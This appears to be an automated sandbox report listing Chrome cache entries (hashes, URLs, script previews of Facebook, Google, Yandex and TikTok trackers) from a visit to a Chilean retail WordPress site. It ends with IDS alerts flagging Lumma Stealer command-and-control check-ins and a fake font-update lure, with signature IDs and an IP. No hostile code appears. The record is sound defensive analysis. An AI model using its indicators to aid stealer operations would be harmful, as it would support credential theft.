Preview:	<svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m0 2.9h92v39.2h-92z"/></clipPath><clipPath id="b"><path d="m-12.2-9.4h116.4v65.5h-116.4z"/></clipPath><g clip-path="url(#a)"><g fill="#2d2a26"><path clip-path="url(#b)" d="m37.6 27.9c3.9 0 7.3 3.1 7.3 7.1s-3.4 7.1-7.3 7.1-7.3-3.2-7.3-7c0-4.3 3.6-7.2 7.3-7.2m0 13c3.2 0 5.9-2.6 5.9-5.8s-2.7-5.9-5.9-5.9c-3.1 0-5.9 2.5-5.9 5.9 0 3.1 2.7 5.8 5.9 5.8"/><path clip-path="url(#b)" d="m48.4 28.1v8.6c0 1 .1 1.9.5 2.5.8 1.5 2.2 1.7 2.8 1.7s2-.1 2.8-1.7c.3-.6.5-1.5.5-2.5v-8.6h1.4v8.6c0 1.2-.2 2.1-.5 2.9-.9 2.1-2.9 2.6-4.2 2.6s-3.2-.5-4.2-2.6c-.3-.7-.5-1.7-.5-2.9v-8.6z"/><path clip-path="url(#b)" d="m61.1 29.4h-3.2v-1.3h7.7v1.3h-3.2v12.5h-1.3z"/><path clip-path="url(#b)" d="m67.2 28.1h1.4v12.5h5.7v1.3h-7.1z"/><path clip-path="url(#b)" d="m75.6 28.1h7.5v1.3h-6.1v4.9h5.9v1.3h-5.9v5h6.1v1.3h-7.5z"/><path clip-path="url(#b)" d="m87.5 29.4h-3.2

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (583)
Category:	downloaded
Size (bytes):	5498
Entropy (8bit):	5.847347848435852
Encrypted:	false
SSDEEP:	96:kSsqdYuSji3KaTa1aOaiacarHZaXacaQj2X61av2HkF77wD8uOTe9:vsEYunOD1av2HjwuOk
MD5:	D2BB3AE594ACE88EF30EE3829D83F360
SHA1:	88FA158D7F7C72D86EFD52A5C16931A14C43E3F2
SHA-256:	481BE5E07D25ACC99546733A64F75D59AA6F347C2BC3CCC6233FCAF3EBFFBDFE
SHA-512:	0365D2DF7BED810ECA3059D5E7BBF784EDA7B6B88F5C0532BA1A7056F2FCD3C4447A4CBB0FAE818B12D32583916AC7DE8D9FF7DE4D53E5BCA7FCA6945F7DEDD9
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.com/metrika/metrika_match.html
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">.<html>.<head>. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">. <meta name="viewport" content="width=device-width,initial-scale=1">. <style>body {background-color:#EFF2F7;font-family:system-ui,sans-serif;color:#2F3746;}.main{display:flex;flex-direction:column;align-items:center;}button {background-color:#7A45E5;border-radius:14px;cursor:pointer;color:white;border:0;padding:16px 20px;}button:hover {background-color:#8659e0;}h1{font-size:140px;white-space:nowrap;}h3{font-size:32px;text-align:center;}p{max-width:600px;line-height:24px;text-align:center;margin-bottom:32px;}@media (prefers-color-scheme: dark) {body {background-color:#333;color:white;}}@media (max-width: 650px) {h1 {font-size: 60px;}}</style>.</head>.<body>. <div class="main">. <h1 aria-hidden="true">.\_(.)_/.</h1>. <h3>Something

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9284)
Category:	downloaded
Size (bytes):	245020
Entropy (8bit):	5.453937864649824
Encrypted:	false
SSDEEP:	3072:6FLeYH8W1WJ/37Oec8NteqZEbkxZNsucrl0xYurPK7d3OCX:6FLeYcgWJzm8NNfFcrHurPK7d3/X
MD5:	645219BB69D1C9F06CC935CC54DC1C2A
SHA1:	F14ACE0F9745356BC77D888857EF32A5EADC8615
SHA-256:	5332FD32D8BE28EB2531721220E8C3C561000378988BE4B4D7F97568F0B3F224
SHA-512:	CB41C3768945DA663B54A29758D6BDFFFD4666C6EEEB253017748831CB424CB54113CFE9DF06959E980E0A7B9EACB6F0D9DD1016B3A9B1BC900FAB79A30AF837
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	486
Entropy (8bit):	4.5029034238352965
Encrypted:	false
SSDEEP:	12:UvfCpddwSoUiOZDRR4n/4YmkY5yIpdQYJY5yXA+kyMTYlWwfbv:Q6PdbOOJRR4n/4YAyITQYJeyXH59Qwj
MD5:	6857ED16327F63B33982EA69D8F73350
SHA1:	4E8A30A197E48F963018BFF05E8BAB1E52AFD150
SHA-256:	8BBC0A7737643DD7C2344BA961592632153CB5353C92C5127339627E14B09143
SHA-512:	FAB071200A9057326780304C31C446C30F7E2CEDF5DE52D237114EDA2F5FD9812FB3DE0E5504879F2E5F9F28E8D2D1FDF96758C5423029AEAA57BF188DD5C925
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1
Preview:	/.Remove numbers from comment author./..document.addEventListener('DOMContentLoaded', function (event) {. var commentForm = document.getElementById("commentform");. if (null === commentForm) {. return;. }. var author = commentForm.querySelector("#author");. if (null === author) {. return;. }. author.addEventListener(. 'blur',. function () {. this.value = this.value.replace(/\d+/g, '');. },. false. );.}).

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17021)
Category:	downloaded
Size (bytes):	460121
Entropy (8bit):	5.640526419920195
Encrypted:	false
SSDEEP:	6144:c4jAiqqWD69yIJDtxaHWGpUskxzNM9x2wE3OPoKYUB4f72jAYqmfQ:ljJqMJZ4HbINM9AeRQ7vmY
MD5:	4D294D18B78B5FF90D0AC67E02E6EC2F
SHA1:	25043477B723AB6F333C1EB1661E7EB6C3E4F51B
SHA-256:	5E21524B9FD9E4A1CDE5D3DE63DEFDEBF1335465883192E730B73089A13F1504
SHA-512:	52CF89854C97692E2F06725D1E8822313F9773C66BB4D202C0AD432C7D0AEEC801CC873A52C2087E8B190AAE3B981A26441B16E1697E64F4FA16673B116060C8
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-CH16T48972&l=dataLayer&cx=c&gtm=45je5190v9179349893za200
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":15,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26053), with no line terminators
Category:	downloaded
Size (bytes):	26053
Entropy (8bit):	4.509117644614597
Encrypted:	false
SSDEEP:	768:CMJihoCcZCOud8G8tKS65wqsZQ1G+dM2cl6iCRotsV84sxIKcv4g01UeEPEQEB4D:CMJihoCcZCOud8G8tKS65wqsZCG+dM25
MD5:	847DA8FCA8060CA1A70F976AAB1210B9
SHA1:	0557D37454B67F42F2CB101E57E5070FB1193570
SHA-256:	1AA8845FD06E475AEFE733D4E55B36A92FCD487975049C8172341827AC9CC03E
SHA-512:	D5C2BBF1AD68FA1B7625C696EA0F0E5D8C2AA5EBFDFBA1AA3A4CFDC6604DF625148489DD2ADC7020B19660E4A26CE2A32EC11D8F28D9BD80EAFDC67035E6A4D3
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5.5
Preview:	[data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="50"].aos-animate,body[data-aos-delay="50"] [data-aos].aos-animate{transition-delay:50ms}[data-aos][data-aos][data-aos-duration="100"],body[data-aos-duration="100"] [data-aos]{transition-duration:.1s}[data-aos][data-aos][data-aos-delay="100"],body[data-aos-delay="100"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="100"].aos-animate,body[data-aos-delay="100"] [data-aos].aos-animate{transition-delay:.1s}[data-aos][data-aos][data-aos-duration="150"],body[data-aos-duration="150"] [data-aos]{transition-duration:.15s}[data-aos][data-aos][data-aos-delay="150"],body[data-aos-delay="150"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="150"].aos-animate,body[data-aos-delay="150"] [data-aos].aos-animate{transition-de

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	149829
Entropy (8bit):	5.600609063029094
Encrypted:	false
SSDEEP:	1536:Cnxj42ndhXdOU0tNo455wjdrm/bK+OTRMWMrvBDJTcitj+wf2EAeiPWMWNZVgdyo:Cnxj4y9OU03o4PwjhIBVT39ROyuvb
MD5:	DAF17286036BD518A93431BAE557255C
SHA1:	8391CECF7FF61062E9DBFD88CC825FEECEAE9D73
SHA-256:	2ADCF9FD70C1C834F4B13D732B66F4900CEC9A6BBDC587B85DBC68CDD9A34BE4
SHA-512:	0DB754DA88122CBCE3558CBF5A61062C3AEBAF03F8A8F7D23E96B384993C179668D8930FBE38553D3AC190AABA3063442F7A0469F3A18DB77DF8713F853BA97C
Malicious:	false
Reputation:	low
URL:	https://analytics.tiktok.com/i18n/pixel/static/identify_45dd5971.js
Preview:	!function(){"use strict";function t(){t=function(){return e};var e={},d=Object.prototype,n=d.hasOwnProperty,r="function"==typeof Symbol?Symbol:{},o=r.iterator\|\|"@@iterator",i=r.asyncIterator\|\|"@@asyncIterator",a=r.toStringTag\|\|"@@toStringTag";function $(t,e,d){return Object.defineProperty(t,e,{value:d,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{$({},"")}catch(t){$=function(t,e,d){return t[e]=d}}function u(t,e,d,n){var r=e&&e.prototype instanceof s?e:s,o=Object.create(r.prototype),i=new w(n\|\|[]);return o._invoke=function(t,e,d){var n="suspendedStart";return function(r,o){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===r)throw o;return E()}for(d.method=r,d.arg=o;;){var i=d.delegate;if(i){var a=_(i,d);if(a){if(a===c)continue;return a}}if("next"===d.method)d.sent=d._sent=d.arg;else if("throw"===d.method){if("suspendedStart"===n)throw n="completed",d.arg;d.dispatchException(d.arg)}else"return"===d.method&&d.abrupt("return",d.arg);

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1080 x 1080, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35720
Entropy (8bit):	6.460083281643774
Encrypted:	false
SSDEEP:	384:YYESmHR9z5vqcLcLcLcLcLcLcLcLcLcLcLcLcLcLcLcLc0cLcSwS2yE6xn2PZuPX:YYEzHR9z5taULP5stRBDR1M
MD5:	B6AAD574A5BB1EFAAC496D8B09391FD8
SHA1:	F2988554B2584732822AA6390C763AC623678309
SHA-256:	9A3FAEBE14E58301C96F4F5EAA9857D2C78E766A05511C35D1E5B82A93EB7E3B
SHA-512:	399160D45C04A63EB79F3775BEDC7176F61BCDA983C5D9700631CDB8E0201A1065237A107F91BB143CC366887CCD92D64079F3E9D19D1AAF12AB670292152844
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head.png
Preview:	.PNG........IHDR...8...8.......l.....sRGB.........eXIfMM.*.................J...........R.(...........1.........Z.i.........l.......\.......\....www.inkscape.org...........................8...........8....b..J....pHYs...&...&...%....diTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/">. <xmp:CreatorTool>www.inkscape.org</xmp:CreatorTool>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>...b!..@.IDATx.....eUy'.]U...<Q#..L"...2..`...H\..W..8.D.6....6Q....$.Y....nHV."1..... 2)`.!.E1WQ.5...%eB.....w.....,.E.}..~.W...9.LI)...8.. @....... @....a....... @....... @......I@.a). @....... @.........[...... @....... @@.a.. @....... @.........[...... @....... @@.a.. @....... @.........[...... @....... @@.a.. @....... @.........[...... @....... @@.a.. @....... @.........[...... @....... @@.a.. @..

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5552)
Category:	dropped
Size (bytes):	71030
Entropy (8bit):	5.336077373036914
Encrypted:	false
SSDEEP:	1536:RJeUwT7hpwPCHM9ZVK01QYTZ02LKVsdmpyKcicIj:RIT7Vs9ZVKBYj8wKcHIj
MD5:	21F57055B6C7E639481B31AE872A2872
SHA1:	384E606BC3EDB2181C4CC3C8BA413912E62B4E1F
SHA-256:	FCE9195260B24A8E64FCB089DA125963DECFC31C74B74725187B5E095486DF04
SHA-512:	5361AE910A119FB947C3222E7305A6B3B3273228FFA59832DA743155C0E88D910666575B5A443E7D90E89FE33E144B38CAFA2DED2D399362D037002BB888C648
Malicious:	false
Reputation:	low
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (551)
Category:	downloaded
Size (bytes):	227261
Entropy (8bit):	5.483775665452673
Encrypted:	false
SSDEEP:	3072:vHdwBc2ltglAnjnc5g0Ci0s0LLM+L3Fv+zMqxAKp:vHdYtgkg5gLi0s0LLM+L3FPq6Kp
MD5:	7204A090B5E030D4C2CD9FF168D00C7A
SHA1:	B68C14E834050BD237D222F7F8772C8D87EC1BE9
SHA-256:	1B16FB7B71EB885AB2F0310063BA192F2786F428CD4F52C21596C88CCD8DD848
SHA-512:	DFD75CC95F1FC5919B7E7EF5430C45E09069E2B0A0D9EA6D5333737CA3FBE297320C067654E54D79A4CACA17E4B413BE5B09E3C55EE835308FF345B533F676AC
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.ru/metrika/tag.js
Preview:	.(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))}.var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf;.function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("p

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 801 x 800, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	38154
Entropy (8bit):	7.008922077292065
Encrypted:	false
SSDEEP:	768:LcKyvatQhq5FBSjuTyr75aOIx4HWehAyQ1zDUjixIQU9:Whwa5ZapCWtyqUjzQ2
MD5:	B604F31A157C126E7A8D8B50BBBD65B4
SHA1:	2AAB9CC80F348118504E56C24B6EC4B37F48C263
SHA-256:	5DCA0F2BDD332A36FAD4AE0AEAE0965F8AFAFFE95BAF4340BD1E7C8D89895488
SHA-512:	7F9C03533D7E5A1AFF1A5E4A1AA70CDC19EABC73AB62FEBCEC03EE0DA1F3EF4DFF9F2D53C282BBDDCD79C58F6FB4D3F62E1FC4DE7DF34F92FBB1D3147B7B2C50
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon.png
Preview:	.PNG........IHDR...!... .....4.mV....pHYs...........~... .IDATx.b...?.(...`...a.....<!...`..)..8:....9....?.....0p......:m...Q0.F.M............Q0.F.`..V.N.r.B......#8.>.;%......4.C...Q0.F.(.h..................K.......I..5!./....\.>...9&...A1*.w%.........Q0.F.-@......\ w:..i...`K.. uV.04.{0.~.`...Q@E............Q0.F.%......u4.G.t.......^..SF.(.................Q0.F.1....j...a7..l_..x.d.s2.F.(..............1.. ....B...$.O...I..UB..^]4fN.......u]).$I.........Q0.F..t8`..F.k..:..H3'.F;&.`.................Q0.F.@l.w..p..A..;&.F7..Q0..=```.........Q0..'........1............`...a.............Q0....l........\.vL.@;&...G.(..C.000.........Q0..&@.t...;.F....).].5.F.(.j............Q0.....t..Q..<.vH6....Q0..=```.........Q0..'@.....t..Q@2..4K.a4.F.(....000.........Q0............1.F...F.N....`.................Q0...@f;..x.B.Q0...F.n..Q0...000.........Q0... wu...v..Q0..Fx.dt..(.................Q0.h. .`........`P..^....F.(..4.............Q0.......F.Y..

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9284)
Category:	dropped
Size (bytes):	245020
Entropy (8bit):	5.453937864649824
Encrypted:	false
SSDEEP:	3072:6FLeYH8W1WJ/37Oec8NteqZEbkxZNsucrl0xYurPK7d3OCX:6FLeYcgWJzm8NNfFcrHurPK7d3/X
MD5:	645219BB69D1C9F06CC935CC54DC1C2A
SHA1:	F14ACE0F9745356BC77D888857EF32A5EADC8615
SHA-256:	5332FD32D8BE28EB2531721220E8C3C561000378988BE4B4D7F97568F0B3F224
SHA-512:	CB41C3768945DA663B54A29758D6BDFFFD4666C6EEEB253017748831CB424CB54113CFE9DF06959E980E0A7B9EACB6F0D9DD1016B3A9B1BC900FAB79A30AF837
Malicious:	false
Reputation:	low
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52336)
Category:	downloaded
Size (bytes):	355165
Entropy (8bit):	5.416378739877468
Encrypted:	false
SSDEEP:	6144:8JVb+lV0VHKq/YFigPqWYlnEZc9rxPveoSM:5Vm+Fi6qWYJEZc9rh
MD5:	FDCFD41A58C01664EFF9D3F39C853A3E
SHA1:	E2AD5A10179F46A6D744109320DE65F54D09D13A
SHA-256:	E2B54E6FE2E3A5677C1B7C775EA969DA9CCB7292CE539688D61A60A5C744A290
SHA-512:	C91D9A8A862378F3FEA9EBC71F159E39C824A98427DB18604FE48F0FFC72642878DDE98393B277CFF6A88BE4130E059C5B16007F2A11A88935E7B236D75DCEBE
Malicious:	false
Reputation:	low
URL:	https://analytics.tiktok.com/i18n/pixel/static/main.MWZhMDU3MTU4MA.js
Preview:	!function(){"use strict";function t(){t=function(){return e};var e={},r=Object.prototype,n=r.hasOwnProperty,o="function"==typeof Symbol?Symbol:{},i=o.iterator\|\|"@@iterator",a=o.asyncIterator\|\|"@@asyncIterator",c=o.toStringTag\|\|"@@toStringTag";function u(t,e,r){return Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{u({},"")}catch(t){u=function(t,e,r){return t[e]=r}}function l(t,e,r,n){var o=e&&e.prototype instanceof p?e:p,i=Object.create(o.prototype),a=new I(n\|\|[]);return i._invoke=function(t,e,r){var n="suspendedStart";return function(o,i){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===o)throw i;return T()}for(r.method=o,r.arg=i;;){var a=r.delegate;if(a){var c=g(a,r);if(c){if(c===s)continue;return c}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===n)throw n="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/ga/rul?tid=G-CH16T48972&gacid=1483336929.1736538575&gtm=45je5190v9178914784za200zb9179349893&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101925629~102067555~102067808~102081485~102198178&z=207310293
Preview:	<html></html>

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (551)
Category:	dropped
Size (bytes):	227261
Entropy (8bit):	5.483775665452673
Encrypted:	false
SSDEEP:	3072:vHdwBc2ltglAnjnc5g0Ci0s0LLM+L3Fv+zMqxAKp:vHdYtgkg5gLi0s0LLM+L3FPq6Kp
MD5:	7204A090B5E030D4C2CD9FF168D00C7A
SHA1:	B68C14E834050BD237D222F7F8772C8D87EC1BE9
SHA-256:	1B16FB7B71EB885AB2F0310063BA192F2786F428CD4F52C21596C88CCD8DD848
SHA-512:	DFD75CC95F1FC5919B7E7EF5430C45E09069E2B0A0D9EA6D5333737CA3FBE297320C067654E54D79A4CACA17E4B413BE5B09E3C55EE835308FF345B533F676AC
Malicious:	false
Reputation:	low
Preview:	.(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))}.var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf;.function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("p

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17021)
Category:	dropped
Size (bytes):	425687
Entropy (8bit):	5.642872214957621
Encrypted:	false
SSDEEP:	6144:c4jAij9yIJDtxaX6GpUskxzNM8x2wE3OPoKYUB4f72jAYqmfi:ljJHJZ4XHINM8AeRQ7vm6
MD5:	003CEE4470BEF7E2EC8C676280EAC857
SHA1:	83E01B5D21C2AB5E60A7E55C6069E67A8CF1C8F5
SHA-256:	7BAD0EF1162D33B8B2ED96AD0899AC89CD3628E283CC9937C22CAE422A262B63
SHA-512:	4010C576939E6286096D40706D90694DF14BD8E479DF1E68F76D3DE05AF4C545D02860E9078555BA0987CC73E00F0D08059C473E8461D80601EDA82721CD70B6
Malicious:	false
Reputation:	low
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":15,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:51:15.008516+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49818	188.114.97.3	443	TCP
2025-01-10T20:51:15.478332+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.17	49818	188.114.97.3	443	TCP
2025-01-10T20:51:15.478332+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.17	49818	188.114.97.3	443	TCP
2025-01-10T20:51:15.969240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49819	188.114.97.3	443	TCP
